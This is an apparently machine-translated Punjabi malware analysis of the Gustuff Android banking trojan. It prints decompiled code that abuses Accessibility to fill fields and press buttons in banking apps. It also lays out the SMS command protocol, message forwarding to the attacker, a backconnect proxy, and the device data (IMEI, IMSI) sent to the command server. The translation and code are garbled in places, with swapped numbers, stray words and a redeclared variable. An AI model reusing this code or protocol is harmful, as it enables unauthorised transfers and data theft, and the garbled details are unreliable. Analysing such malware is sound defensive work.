• ਪਰਸਪਰ — ਕਮਾਂਡ ਨੂੰ AcessibilityService ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਹੋਰ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੇ ਵਿੰਡੋ ਐਲੀਮੈਂਟਸ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ। ਪ੍ਰੋਗਰਾਮ ਵਿੱਚ ਗੱਲਬਾਤ ਲਈ ਇੱਕ ਵਿਸ਼ੇਸ਼ ਸੇਵਾ ਲਾਗੂ ਕੀਤੀ ਗਈ ਹੈ। ਜਾਂਚ ਅਧੀਨ ਐਪਲੀਕੇਸ਼ਨ ਵਿੰਡੋਜ਼ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰ ਸਕਦੀ ਹੈ:
  • ਵਰਤਮਾਨ ਵਿੱਚ ਸਰਗਰਮ ਹੈ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਉਸ ਵਸਤੂ ਦੀ ਆਈਡੀ ਜਾਂ ਟੈਕਸਟ (ਨਾਮ) ਹੁੰਦਾ ਹੈ ਜਿਸ ਨਾਲ ਤੁਹਾਨੂੰ ਇੰਟਰੈਕਟ ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ ਹੁੰਦੀ ਹੈ।
  • ਕਮਾਂਡ ਦੇ ਚੱਲਣ ਸਮੇਂ ਉਪਭੋਗਤਾ ਨੂੰ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ ਆਈਡੀ ਦੁਆਰਾ ਵਿੰਡੋਜ਼ ਦੀ ਚੋਣ ਕਰਦੀ ਹੈ।

  ਵਸਤੂਆਂ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨਾ ਅਸੈਸਬਿਲਟੀ ਨੋਡਇਨਫੋ ਦਿਲਚਸਪੀ ਦੇ ਵਿੰਡੋ ਤੱਤਾਂ ਲਈ, ਐਪਲੀਕੇਸ਼ਨ, ਪੈਰਾਮੀਟਰਾਂ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ, ਹੇਠ ਲਿਖੀਆਂ ਕਾਰਵਾਈਆਂ ਕਰ ਸਕਦੀ ਹੈ:

  • ਫੋਕਸ - ਆਬਜੈਕਟ 'ਤੇ ਫੋਕਸ ਸੈੱਟ ਕਰੋ।
  • ਕਲਿੱਕ ਕਰੋ - ਕਿਸੇ ਵਸਤੂ 'ਤੇ ਕਲਿੱਕ ਕਰੋ।
  • actionId — ID ਦੁਆਰਾ ਇੱਕ ਕਾਰਵਾਈ ਕਰੋ।
  • setText — ਕਿਸੇ ਵਸਤੂ ਦਾ ਟੈਕਸਟ ਬਦਲੋ। ਟੈਕਸਟ ਨੂੰ ਬਦਲਣਾ ਦੋ ਤਰੀਕਿਆਂ ਨਾਲ ਸੰਭਵ ਹੈ: ਕੋਈ ਕਾਰਵਾਈ ਕਰੋ ACTION_SET_TEXT (ਜੇਕਰ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਦਾ ਐਂਡਰਾਇਡ ਸੰਸਕਰਣ ਇਸ ਤੋਂ ਛੋਟਾ ਜਾਂ ਇਸਦੇ ਬਰਾਬਰ ਹੈ ਲਾਲੀਪੌਪ), ਜਾਂ ਕਲਿੱਪਬੋਰਡ 'ਤੇ ਇੱਕ ਸਤਰ ਰੱਖ ਕੇ ਅਤੇ ਇਸਨੂੰ ਕਿਸੇ ਵਸਤੂ ਵਿੱਚ ਪੇਸਟ ਕਰਕੇ (ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਲਈ)। ਇਸ ਕਮਾਂਡ ਦੀ ਵਰਤੋਂ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨ ਵਿੱਚ ਡੇਟਾ ਬਦਲਣ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ।

2. PARAMS_ACTIONS - ਇਕੋ ਜੇਹੇ PARAMS_ACTION, ਸਿਰਫ਼ ਕਮਾਂਡਾਂ ਦੀ ਇੱਕ JSON ਐਰੇ ਆਉਂਦੀ ਹੈ।

ਅਜਿਹਾ ਲਗਦਾ ਹੈ ਕਿ ਬਹੁਤ ਸਾਰੇ ਲੋਕ ਇਸ ਵਿੱਚ ਦਿਲਚਸਪੀ ਲੈਣਗੇ ਕਿ ਕਿਸੇ ਹੋਰ ਐਪਲੀਕੇਸ਼ਨ ਦੇ ਵਿੰਡੋ ਐਲੀਮੈਂਟਸ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਨ ਦਾ ਕੰਮ ਕਿਹੋ ਜਿਹਾ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ. ਗਸਟਫ ਵਿੱਚ ਇਸ ਕਾਰਜਸ਼ੀਲਤਾ ਨੂੰ ਇਸ ਤਰ੍ਹਾਂ ਲਾਗੂ ਕੀਤਾ ਜਾਂਦਾ ਹੈ:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

ਟੈਕਸਟ ਰਿਪਲੇਸਮੈਂਟ ਫੰਕਸ਼ਨ:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

ਇਸ ਤਰ੍ਹਾਂ, ਕੰਟਰੋਲ ਸਰਵਰ ਦੀ ਸਹੀ ਸੰਰਚਨਾ ਦੇ ਨਾਲ, Gustuff ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨ ਵਿੱਚ ਟੈਕਸਟ ਖੇਤਰਾਂ ਨੂੰ ਭਰਨ ਅਤੇ ਟ੍ਰਾਂਜੈਕਸ਼ਨ ਨੂੰ ਪੂਰਾ ਕਰਨ ਲਈ ਲੋੜੀਂਦੇ ਬਟਨਾਂ 'ਤੇ ਕਲਿੱਕ ਕਰਨ ਦੇ ਯੋਗ ਹੁੰਦਾ ਹੈ। ਟਰੋਜਨ ਨੂੰ ਐਪਲੀਕੇਸ਼ਨ ਵਿੱਚ ਲੌਗਇਨ ਕਰਨ ਦੀ ਵੀ ਲੋੜ ਨਹੀਂ ਹੈ-ਇਹ ਇੱਕ PUSH ਨੋਟੀਫਿਕੇਸ਼ਨ ਪ੍ਰਦਰਸ਼ਿਤ ਕਰਨ ਲਈ ਇੱਕ ਕਮਾਂਡ ਭੇਜਣ ਲਈ ਕਾਫੀ ਹੈ ਅਤੇ ਫਿਰ ਪਹਿਲਾਂ ਤੋਂ ਸਥਾਪਿਤ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਖੋਲ੍ਹੋ। ਯੂਜ਼ਰ ਖੁਦ ਨੂੰ ਪ੍ਰਮਾਣਿਤ ਕਰੇਗਾ, ਜਿਸ ਤੋਂ ਬਾਅਦ ਗਸਟਫ ਕਾਰ ਨੂੰ ਭਰ ਸਕੇਗਾ।

SMS ਸੁਨੇਹਾ ਪ੍ਰੋਸੈਸਿੰਗ ਮੋਡੀਊਲ

ਐਪਲੀਕੇਸ਼ਨ SMS ਸੁਨੇਹਿਆਂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਨ ਲਈ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਲਈ ਇੱਕ ਇਵੈਂਟ ਹੈਂਡਲਰ ਸਥਾਪਤ ਕਰਦੀ ਹੈ। ਅਧਿਐਨ ਅਧੀਨ ਐਪਲੀਕੇਸ਼ਨ ਓਪਰੇਟਰ ਤੋਂ ਕਮਾਂਡਾਂ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦੀ ਹੈ, ਜੋ SMS ਸੰਦੇਸ਼ ਦੇ ਮੁੱਖ ਭਾਗ ਵਿੱਚ ਆਉਂਦੀਆਂ ਹਨ। ਕਮਾਂਡਾਂ ਫਾਰਮੈਟ ਵਿੱਚ ਆਉਂਦੀਆਂ ਹਨ:

7!5=<%Base64 ਏਨਕੋਡ ਕਮਾਂਡ%>

ਐਪਲੀਕੇਸ਼ਨ ਸਾਰੇ ਆਉਣ ਵਾਲੇ SMS ਸੁਨੇਹਿਆਂ ਵਿੱਚ ਸਤਰ ਦੀ ਖੋਜ ਕਰਦੀ ਹੈ 7!5=, ਜਦੋਂ ਇੱਕ ਸਟ੍ਰਿੰਗ ਖੋਜੀ ਜਾਂਦੀ ਹੈ, ਇਹ ਔਫਸੈੱਟ 64 'ਤੇ ਬੇਸ 4 ਤੋਂ ਸਤਰ ਨੂੰ ਡੀਕੋਡ ਕਰਦਾ ਹੈ ਅਤੇ ਕਮਾਂਡ ਨੂੰ ਚਲਾਉਂਦਾ ਹੈ। ਕਮਾਂਡਾਂ CnC ਵਾਲੇ ਸਮਾਨ ਹਨ। ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਨਤੀਜਾ ਉਸੇ ਨੰਬਰ 'ਤੇ ਭੇਜਿਆ ਜਾਂਦਾ ਹੈ ਜਿੱਥੋਂ ਕਮਾਂਡ ਆਈ ਸੀ। ਜਵਾਬ ਫਾਰਮੈਟ:

7*5=<%Base64 encode of “result_code command”%>

ਵਿਕਲਪਿਕ ਤੌਰ 'ਤੇ, ਐਪਲੀਕੇਸ਼ਨ ਸਾਰੇ ਪ੍ਰਾਪਤ ਕੀਤੇ ਸੁਨੇਹਿਆਂ ਨੂੰ ਰੂਟ ਨੰਬਰ 'ਤੇ ਭੇਜ ਸਕਦੀ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਤਰਜੀਹ ਫਾਈਲ ਵਿੱਚ ਰੂਟ ਨੰਬਰ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ ਅਤੇ ਸੁਨੇਹਾ ਰੀਡਾਇਰੈਕਸ਼ਨ ਫਲੈਗ ਸੈੱਟ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ। ਫਾਰਮੈਟ ਵਿੱਚ ਹਮਲਾਵਰ ਦੇ ਨੰਬਰ 'ਤੇ ਇੱਕ SMS ਸੁਨੇਹਾ ਭੇਜਿਆ ਜਾਂਦਾ ਹੈ:

<%ਸੰਖਿਆ%> - <%ਸਮਾਂ, ਫਾਰਮੈਟ: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

ਨਾਲ ਹੀ, ਵਿਕਲਪਿਕ ਤੌਰ 'ਤੇ, ਐਪਲੀਕੇਸ਼ਨ CnC ਨੂੰ ਸੰਦੇਸ਼ ਭੇਜ ਸਕਦੀ ਹੈ। SMS ਸੁਨੇਹਾ ਸਰਵਰ ਨੂੰ JSON ਫਾਰਮੈਟ ਵਿੱਚ ਭੇਜਿਆ ਜਾਂਦਾ ਹੈ:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

ਜੇ ਝੰਡਾ ਸੈੱਟ ਹੈ nameGenerator("DEFAULT_APP_SMS") - ਐਪਲੀਕੇਸ਼ਨ SMS ਸੁਨੇਹੇ ਦੀ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਰੋਕ ਦਿੰਦੀ ਹੈ ਅਤੇ ਆਉਣ ਵਾਲੇ ਸੁਨੇਹਿਆਂ ਦੀ ਸੂਚੀ ਨੂੰ ਸਾਫ਼ ਕਰਦੀ ਹੈ।

ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ

ਅਧਿਐਨ ਅਧੀਨ ਐਪਲੀਕੇਸ਼ਨ ਵਿੱਚ ਇੱਕ ਬੈਕਕਨੈਕਟ ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਹੈ (ਇਸ ਤੋਂ ਬਾਅਦ ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਵਜੋਂ ਜਾਣਿਆ ਜਾਂਦਾ ਹੈ), ਜਿਸ ਵਿੱਚ ਇੱਕ ਵੱਖਰੀ ਕਲਾਸ ਹੈ ਜਿਸ ਵਿੱਚ ਸੰਰਚਨਾ ਦੇ ਨਾਲ ਸਥਿਰ ਖੇਤਰ ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ। ਕੌਂਫਿਗਰੇਸ਼ਨ ਡੇਟਾ ਨਮੂਨੇ ਵਿੱਚ ਸਪਸ਼ਟ ਰੂਪ ਵਿੱਚ ਸਟੋਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ:

ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਦੁਆਰਾ ਕੀਤੀਆਂ ਸਾਰੀਆਂ ਕਾਰਵਾਈਆਂ ਫਾਈਲਾਂ ਵਿੱਚ ਲੌਗਇਨ ਹੁੰਦੀਆਂ ਹਨ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਬਾਹਰੀ ਸਟੋਰੇਜ਼ ਵਿੱਚ ਐਪਲੀਕੇਸ਼ਨ "ਲੌਗਸ" (ਸੰਰਚਨਾ ਕਲਾਸ ਵਿੱਚ ProxyConfigClass.logsDir ਖੇਤਰ) ਨਾਮਕ ਇੱਕ ਡਾਇਰੈਕਟਰੀ ਬਣਾਉਂਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ ਲੌਗ ਫਾਈਲਾਂ ਨੂੰ ਸਟੋਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਲੌਗਿੰਗ ਨਾਮਾਂ ਵਾਲੀਆਂ ਫਾਈਲਾਂ ਵਿੱਚ ਹੁੰਦੀ ਹੈ:

1. main.txt - ਕਮਾਂਡਸਰਵਰ ਨਾਮਕ ਕਲਾਸ ਦਾ ਕੰਮ ਇਸ ਫਾਈਲ ਵਿੱਚ ਲੌਗਇਨ ਹੁੰਦਾ ਹੈ। ਇਸ ਤੋਂ ਬਾਅਦ, ਇਸ ਫਾਈਲ ਵਿੱਚ ਸਟ੍ਰਿੰਗ ਸਟ੍ਰਿੰਗ ਨੂੰ ਲੌਗ ਕਰਨਾ mainLog(str) ਵਜੋਂ ਦਰਸਾਇਆ ਜਾਵੇਗਾ।
2. ਸੈਸ਼ਨ-<%id%>.txt — ਇਹ ਫਾਇਲ ਇੱਕ ਖਾਸ ਪਰਾਕਸੀ ਸੈਸ਼ਨ ਨਾਲ ਸੰਬੰਧਿਤ ਲਾਗ ਡਾਟਾ ਸੰਭਾਲਦੀ ਹੈ। ਇਸ ਤੋਂ ਬਾਅਦ, ਇਸ ਫਾਈਲ ਵਿੱਚ ਸਟ੍ਰਿੰਗ ਸਟ੍ਰਿੰਗ ਨੂੰ ਲੌਗ ਕਰਨਾ ਸੈਸ਼ਨਲੌਗ (str) ਵਜੋਂ ਦਰਸਾਇਆ ਜਾਵੇਗਾ।
3. server.txt - ਇਹ ਫਾਈਲ ਉੱਪਰ ਦੱਸੀਆਂ ਫਾਈਲਾਂ ਵਿੱਚ ਲਿਖੇ ਸਾਰੇ ਡੇਟਾ ਨੂੰ ਲੌਗ ਕਰਨ ਲਈ ਵਰਤੀ ਜਾਂਦੀ ਹੈ।

ਲੌਗ ਡੇਟਾ ਫਾਰਮੈਟ:

<% ਮਿਤੀ%> [ਥ੍ਰੈੱਡ[<%ਥ੍ਰੈਡ ਆਈਡੀ%>], ਆਈਡੀ[]]: ਲੌਗ-ਸਟ੍ਰਿੰਗ

ਪਰਾਕਸੀ ਮੋਡੀਊਲ ਦੀ ਕਾਰਵਾਈ ਦੌਰਾਨ ਹੋਣ ਵਾਲੇ ਅਪਵਾਦ ਵੀ ਇੱਕ ਫਾਈਲ ਵਿੱਚ ਲਾਗਇਨ ਕੀਤੇ ਜਾਂਦੇ ਹਨ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਐਪਲੀਕੇਸ਼ਨ ਹੇਠਾਂ ਦਿੱਤੇ ਫਾਰਮੈਟ ਵਿੱਚ ਇੱਕ JSON ਆਬਜੈਕਟ ਤਿਆਰ ਕਰਦੀ ਹੈ:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

ਫਿਰ ਇਹ ਇਸਨੂੰ ਇੱਕ ਸਟ੍ਰਿੰਗ ਪ੍ਰਤੀਨਿਧਤਾ ਵਿੱਚ ਬਦਲਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਲੌਗ ਕਰਦਾ ਹੈ।

ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਅਨੁਸਾਰੀ ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਕਰਨ ਤੋਂ ਬਾਅਦ ਲਾਂਚ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜਦੋਂ ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਨੂੰ ਸ਼ੁਰੂ ਕਰਨ ਲਈ ਇੱਕ ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ ਇੱਕ ਸੇਵਾ ਸ਼ੁਰੂ ਕਰਦੀ ਹੈ ਜਿਸਨੂੰ ਕਿਹਾ ਜਾਂਦਾ ਹੈ ਮੁੱਖ ਸੇਵਾ, ਜੋ ਕਿ ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਦੇ ਸੰਚਾਲਨ ਦੇ ਪ੍ਰਬੰਧਨ ਲਈ ਜ਼ਿੰਮੇਵਾਰ ਹੈ - ਇਸਨੂੰ ਸ਼ੁਰੂ ਕਰਨਾ ਅਤੇ ਬੰਦ ਕਰਨਾ।

ਸੇਵਾ ਸ਼ੁਰੂ ਕਰਨ ਦੇ ਪੜਾਅ:

1. ਇੱਕ ਟਾਈਮਰ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ ਜੋ ਇੱਕ ਮਿੰਟ ਵਿੱਚ ਇੱਕ ਵਾਰ ਚੱਲਦਾ ਹੈ ਅਤੇ ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਦੀ ਗਤੀਵਿਧੀ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ। ਜੇਕਰ ਮੋਡੀਊਲ ਕਿਰਿਆਸ਼ੀਲ ਨਹੀਂ ਹੈ, ਤਾਂ ਇਹ ਇਸਨੂੰ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ।
ਨਾਲ ਹੀ ਜਦੋਂ ਇਵੈਂਟ ਸ਼ੁਰੂ ਹੁੰਦਾ ਹੈ android.net.conn.CONNECTIVITY_CHANGE ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਲਾਂਚ ਕੀਤਾ ਗਿਆ ਹੈ।

2. ਐਪਲੀਕੇਸ਼ਨ ਪੈਰਾਮੀਟਰ ਨਾਲ ਇੱਕ ਵੇਕ-ਲਾਕ ਬਣਾਉਂਦਾ ਹੈ PARTIAL_WAKE_LOCK ਅਤੇ ਉਸਨੂੰ ਫੜ ਲੈਂਦਾ ਹੈ। ਇਹ ਡਿਵਾਈਸ CPU ਨੂੰ ਸਲੀਪ ਮੋਡ ਵਿੱਚ ਜਾਣ ਤੋਂ ਰੋਕਦਾ ਹੈ।

3. ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਦੀ ਕਮਾਂਡ ਪ੍ਰੋਸੈਸਿੰਗ ਕਲਾਸ ਨੂੰ ਲਾਂਚ ਕਰਦਾ ਹੈ, ਪਹਿਲਾਂ ਲਾਈਨ ਨੂੰ ਲੌਗ ਕਰਨਾ ਮੇਨਲੌਗ ("ਸਟਾਰਟ ਸਰਵਰ") и

ਸਰਵਰ::start() ਹੋਸਟ[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

ਜਿੱਥੇ proxy_cnc, command_port ਅਤੇ proxy_port - ਪਰਾਕਸੀ ਸਰਵਰ ਸੰਰਚਨਾ ਤੋਂ ਪ੍ਰਾਪਤ ਕੀਤੇ ਪੈਰਾਮੀਟਰ।

ਕਮਾਂਡ ਪ੍ਰੋਸੈਸਿੰਗ ਕਲਾਸ ਨੂੰ ਕਿਹਾ ਜਾਂਦਾ ਹੈ ਕਮਾਂਡ ਕੁਨੈਕਸ਼ਨ. ਸਟਾਰਟਅੱਪ ਤੋਂ ਤੁਰੰਤ ਬਾਅਦ, ਹੇਠ ਲਿਖੀਆਂ ਕਾਰਵਾਈਆਂ ਕਰਦਾ ਹੈ:

4. ਨਾਲ ਜੁੜਦਾ ਹੈ ProxyConfigClass.host: ProxyConfigClass.commandPort ਅਤੇ ਉੱਥੇ JSON ਫਾਰਮੈਟ ਵਿੱਚ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਬਾਰੇ ਡੇਟਾ ਭੇਜਦਾ ਹੈ:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

ਕਿੱਥੇ:

• id - ਪਛਾਣਕਰਤਾ, "x" ਨਾਮ ਦੀ ਸਾਂਝੀ ਤਰਜੀਹ ਫਾਈਲ ਤੋਂ "id" ਖੇਤਰ ਦੇ ਨਾਲ ਇੱਕ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦਾ ਹੈ। ਜੇਕਰ ਇਹ ਮੁੱਲ ਪ੍ਰਾਪਤ ਨਹੀਂ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ, ਤਾਂ ਇਹ ਇੱਕ ਨਵਾਂ ਬਣਾਉਂਦਾ ਹੈ। ਇਸ ਤਰ੍ਹਾਂ, ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਦਾ ਆਪਣਾ ਪਛਾਣਕਰਤਾ ਹੁੰਦਾ ਹੈ, ਜੋ ਬੋਟ ID ਵਾਂਗ ਹੀ ਤਿਆਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।
• imei — ਡਿਵਾਈਸ ਦਾ IMEI। ਜੇਕਰ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੌਰਾਨ ਕੋਈ ਗਲਤੀ ਆਈ ਹੈ, ਤਾਂ ਇਸ ਖੇਤਰ ਦੀ ਬਜਾਏ ਇੱਕ ਗਲਤੀ ਟੈਕਸਟ ਸੁਨੇਹਾ ਲਿਖਿਆ ਜਾਵੇਗਾ।
• imsi — ਜੰਤਰ ਦੀ ਅੰਤਰਰਾਸ਼ਟਰੀ ਮੋਬਾਈਲ ਗਾਹਕ ਪਛਾਣ। ਜੇਕਰ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੌਰਾਨ ਕੋਈ ਗਲਤੀ ਆਈ ਹੈ, ਤਾਂ ਇਸ ਖੇਤਰ ਦੀ ਬਜਾਏ ਇੱਕ ਗਲਤੀ ਟੈਕਸਟ ਸੁਨੇਹਾ ਲਿਖਿਆ ਜਾਵੇਗਾ।
• ਮਾਡਲ — ਅੰਤਮ ਉਤਪਾਦ ਲਈ ਅੰਤਮ-ਉਪਭੋਗਤਾ-ਦਿੱਖ ਵਾਲਾ ਨਾਮ।
• ਨਿਰਮਾਤਾ — ਉਤਪਾਦ/ਹਾਰਡਵੇਅਰ ਦਾ ਨਿਰਮਾਤਾ (ਬਿਲਡ.ਮੈਨੂਫੈਕਚਰਰ)।
• androidVersion - ਫਾਰਮੈਟ ਵਿੱਚ ਇੱਕ ਸਤਰ "<%release_version%> (<%os_version%>),<%sdk_version%>"
• ਦੇਸ਼ — ਡਿਵਾਈਸ ਦੀ ਮੌਜੂਦਾ ਸਥਿਤੀ।
• partnerId ਇੱਕ ਖਾਲੀ ਸਤਰ ਹੈ।
• ਪੈਕੇਜ ਨਾਮ - ਪੈਕੇਜ ਨਾਮ.
• ਨੈੱਟਵਰਕ ਕਿਸਮ — ਮੌਜੂਦਾ ਨੈੱਟਵਰਕ ਕੁਨੈਕਸ਼ਨ ਦੀ ਕਿਸਮ (ਉਦਾਹਰਨ: “WIFI”, “MOBILE”)। ਗਲਤੀ ਦੀ ਸਥਿਤੀ ਵਿੱਚ, ਨਲ ਵਾਪਸ ਕਰਦਾ ਹੈ।
• hasGsmSupport - ਸਹੀ - ਜੇਕਰ ਫ਼ੋਨ GSM ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ, ਨਹੀਂ ਤਾਂ ਗਲਤ।
• simReady - ਸਿਮ ਕਾਰਡ ਸਥਿਤੀ।
• simCountry - ISO ਦੇਸ਼ ਕੋਡ (ਸਿਮ ਕਾਰਡ ਪ੍ਰਦਾਤਾ 'ਤੇ ਆਧਾਰਿਤ)।
• ਨੈੱਟਵਰਕ ਆਪਰੇਟਰ — ਆਪਰੇਟਰ ਦਾ ਨਾਮ। ਜੇਕਰ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੌਰਾਨ ਕੋਈ ਗਲਤੀ ਆਈ ਹੈ, ਤਾਂ ਇਸ ਖੇਤਰ ਦੀ ਬਜਾਏ ਇੱਕ ਗਲਤੀ ਟੈਕਸਟ ਸੁਨੇਹਾ ਲਿਖਿਆ ਜਾਵੇਗਾ।
• simOperator — ਸੇਵਾ ਪ੍ਰਦਾਤਾ ਦਾ ਨਾਮ (SPN)। ਜੇਕਰ ਮੁੱਲ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੌਰਾਨ ਕੋਈ ਗਲਤੀ ਆਈ ਹੈ, ਤਾਂ ਇਸ ਖੇਤਰ ਦੀ ਬਜਾਏ ਇੱਕ ਗਲਤੀ ਟੈਕਸਟ ਸੁਨੇਹਾ ਲਿਖਿਆ ਜਾਵੇਗਾ।
• ਸੰਸਕਰਣ - ਇਹ ਖੇਤਰ ਸੰਰਚਨਾ ਕਲਾਸ ਵਿੱਚ ਸਟੋਰ ਕੀਤਾ ਗਿਆ ਹੈ; ਬੋਟ ਦੇ ਟੈਸਟ ਕੀਤੇ ਸੰਸਕਰਣਾਂ ਲਈ ਇਹ "1.6" ਦੇ ਬਰਾਬਰ ਸੀ।

5. ਸਰਵਰ ਤੋਂ ਕਮਾਂਡਾਂ ਦੀ ਉਡੀਕ ਕਰਨ ਦੇ ਮੋਡ 'ਤੇ ਸਵਿਚ ਕਰਦਾ ਹੈ। ਸਰਵਰ ਤੋਂ ਕਮਾਂਡਾਂ ਫਾਰਮੈਟ ਵਿੱਚ ਆਉਂਦੀਆਂ ਹਨ:

• 0 ਆਫਸੈੱਟ - ਕਮਾਂਡ
• 1 ਆਫਸੈੱਟ - ਸੈਸ਼ਨ ਆਈ.ਡੀ
• 2 ਆਫਸੈੱਟ - ਲੰਬਾਈ
• 4 ਆਫਸੈੱਟ - ਡਾਟਾ

ਜਦੋਂ ਇੱਕ ਕਮਾਂਡ ਆਉਂਦੀ ਹੈ, ਐਪਲੀਕੇਸ਼ਨ ਲੌਗ ਹੁੰਦੀ ਹੈ:
ਮੇਨਲੌਗ("ਹੈਡਰ { ਸੈਸ਼ਨ ਆਈਡੀ<%id%>], ਟਾਈਪ[<% ਕਮਾਂਡ%>], ਲੰਬਾਈ[<%ਲੰਬਾਈ%>] }")

ਸਰਵਰ ਤੋਂ ਹੇਠ ਲਿਖੀਆਂ ਕਮਾਂਡਾਂ ਸੰਭਵ ਹਨ:

ਨਾਮ	ਹੁਕਮ	ਡੇਟਾ	ਵੇਰਵਾ
